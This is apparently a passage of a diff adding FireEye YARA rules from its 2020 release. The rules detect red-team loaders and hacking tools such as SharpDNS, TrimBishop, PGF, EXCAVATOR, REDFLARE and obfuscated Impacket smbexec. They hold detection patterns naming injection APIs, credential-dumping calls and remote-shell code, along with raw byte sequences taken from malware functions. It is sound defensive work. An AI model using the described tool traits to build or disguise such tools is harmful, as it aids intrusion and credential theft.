+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "fcbefa45-8dcd-57a3-a2ac-f4613152716f"
+    strings:
+        $pdb1 = /RSDS[\x00-\xFF]{20}c:\\source\\dllconfig-master\\dllsource[\x00-\xFF]{0,500}\.pdb\x00/ nocase
+        $pdb2 = /RSDS[\x00-\xFF]{20}C:\\Users\\Developer\\Source[\x00-\xFF]{0,500}\\Release\\DllSource\.pdb\x00/ nocase
+        $pdb3 = /RSDS[\x00-\xFF]{20}q:\\objchk_win7_amd64\\amd64\\init\.pdb\x00/ nocase
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and filesize < 15MB and any of them
+}
+rule APT_HackTool_MSIL_SHARPDNS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "db6b45be-f42f-5d0f-b50a-32e7a2cbfce6"
+    strings:
+        $typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_TrimBishop_1
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the string 'msg' more than 60 times as well as numerous function names unique to or used by the TrimBishop tool. All strings found in RuralBishop are reversed in TrimBishop and stored in a variable with the format 'msg##'. With the exception of 'msg', 'DTrim', and 'ReverseString' the other strings referenced in this rule may be shared with RuralBishop."
+        md5 = "09bdbad8358b04994e2c04bb26a160ef"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4d58f0a2-bf16-584c-8e92-c8ef54427767"
+    strings:
+        $msg = "msg" ascii wide
+        $msil = "_CorExeMain" ascii wide
+        $str1 = "RuralBishop" ascii wide
+        $str2 = "KnightKingside" ascii wide
+        $str3 = "ReadShellcode" ascii wide
+        $str4 = "ReverseString" ascii wide
+        $str5 = "DTrim" ascii wide
+        $str6 = "QueensGambit" ascii wide
+        $str7 = "Messages" ascii wide
+        $str8 = "NtQueueApcThread" ascii wide
+        $str9 = "NtAlertResumeThread" ascii wide
+        $str10 = "NtQueryInformationThread" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and #msg > 60 and all of ($str*)
+}
+rule Loader_Win_Generic_17
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        md5 = "562ecbba043552d59a0f23f61cea0983"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4e5bf741-c1e3-54af-9580-02925ba6fc6a"
+    strings:
+        $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
+        $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
+        $si1 = "fread" fullword
+        $si2 = "fwrite" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win64_PGF_3
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads."
+        md5 = "3bb34ebd93b8ab5799f4843e8cc829fa"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "340ea6d4-7111-520c-9bd4-0465a43ea235"
+    strings:
+        $cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+        $cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 }
+        $cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+        $cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and any of them
+}
+rule HackTool_PY_ImpacketObfuscation_1
+{
+    meta:
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        description = "smbexec"
+        md5 = "0b1e512afe24c31531d6db6b47bac8ee"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "992d1132-3136-5e1b-a1ef-dcdf36ebf0f5"
+    strings:
+        $s1 = "class CMDEXEC" nocase
+        $s2 = "class RemoteShell" nocase
+        $s3 = "self.services_names"
+        $s4 = "import random"
+        $s6 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]%CoMSpEC%[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
+        $s7 = /self\.__serviceName[\x09\x20]{0,32}=[\x09\x20]{0,32}self\.services_names\[random\.randint\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}len\(self\.services_names\)[\x09\x20]{0,32}-[\x09\x20]{0,32}1\)\]/
+    condition:
+        all of them
+}
+rule APT_HackTool_Win64_EXCAVATOR_2
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "4fd62068e591cbd6f413e1c2b8f75442"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4b7640e8-5621-5cc3-8ac9-84347f23f5eb"
+    strings:
+        $api1 = "PssCaptureSnapshot" fullword
+        $api2 = "MiniDumpWriteDump" fullword
+        $dump = { C7 [2-5] FD 03 00 AC 4C 8D 4D ?? 41 B8 1F 00 10 00 8B [2-5] 48 8B 4D ?? E8 [4] 89 [2-5] 83 [2-5] 00 74 ?? 48 8B 4D ?? FF 15 [4] 33 C0 E9 [4] 41 B8 10 00 00 00 33 D2 48 8D 8D [4] E8 [4] 48 8D 05 [4] 48 89 85 [4] 48 C7 85 [8] 48 C7 44 24 30 00 00 00 00 C7 44 24 28 80 00 00 00 C7 44 24 20 01 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4] 48 89 85 [4] 48 83 BD [4] FF 75 ?? 48 8B 4D ?? FF 15 [4] 33 C0 EB [0-17] 48 8D [5] 48 89 ?? 24 30 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 41 B9 02 00 00 00 4C 8B 85 [4] 8B [1-5] 48 8B 4D ?? E8 }
+        $enable_dbg_pri = { 4C 8D 45 ?? 48 8D 15 [4] 33 C9 FF 15 [4] 85 C0 0F 84 [4] C7 45 ?? 01 00 00 00 B8 0C 00 00 00 48 6B C0 00 48 8B 4D ?? 48 89 4C 05 ?? B8 0C 00 00 00 48 6B C0 00 C7 44 05 ?? 02 00 00 00 FF 15 [4] 4C 8D 45 ?? BA 20 00 00 00 48 8B C8 FF 15 [4] 85 C0 74 ?? 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 45 ?? 33 D2 48 8B 4D ?? FF 15 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule APT_Loader_Raw32_REDFLARE_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "4022baddfda3858a57c9cbb0d49f6f86"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "8f8ec27f-afac-5da5-b76f-b984e14e0066"
+    strings:
+        $load = { EB ?? 58 [0-4] 8B 10 8B 48 [1-3] 8B C8 83 C1 ?? 03 D1 83 E9 [1-3] 83 C1 [1-4] FF D? }
+    condition:
+        (uint16(0) != 0x5A4D) and all of them
+}
+rule APT_Loader_Win64_PGF_2
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/dllmain/"
+        md5 = "4326a7e863928ffbb5f6bdf63bb9126e"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "5253cb2a-28fd-57ab-be3d-f11cf2ea24cf"
+    strings:
+        $sb1 = { B9 [4] FF 15 [4-32] 8B ?? 1C [0-16] 0F B? ?? 04 [0-64] F3 0F 6F 00 [0-64] 66 0F EF C8 [0-64] F3 0F 7F 08 [0-64] 30 ?? 48 8D 40 01 48 83 ?? 01 7? }
+        $sb2 = { 44 8B ?? 08 [0-32] 41 B8 00 30 00 00 [0-16] FF 15 [4-32] 48 8B C8 [0-16] E8 [4-64] 4D 8D 49 01 [0-32] C1 ?? 04 [0-64] 0F B? [2-16] 41 30 ?? FF 45 3? ?? 7? }
+        $sb3 = { 63 ?? 3C [0-16] 03 [1-32] 0F B? ?? 14 [0-16] 8D ?? 18 [0-16] 03 [1-16] 66 ?? 3B ?? 06 7? [1-64] 48 8D 15 [4-32] FF 15 [4-16] 85 C0 [2-32] 41 0F B? ?? 06 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPTEMPLATE_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "0ca9a13c-e0a0-588b-be13-5954b17d95b1"
+    strings:
+        $typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project."
+        md5 = "db0eaad52465d5a2b86fdd6a6aa869a5"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e07d3d4b-fba3-5df7-85f4-927bb8cec2d1"
+    strings:
+        $typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win32_PGF_5
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8"
+        md5 = "8c91a27bbdbe9fb0877daccd28bd7bb5"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "376875f3-00f2-58d0-ae22-7f52ea566da2"
+    strings:
+        $cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF 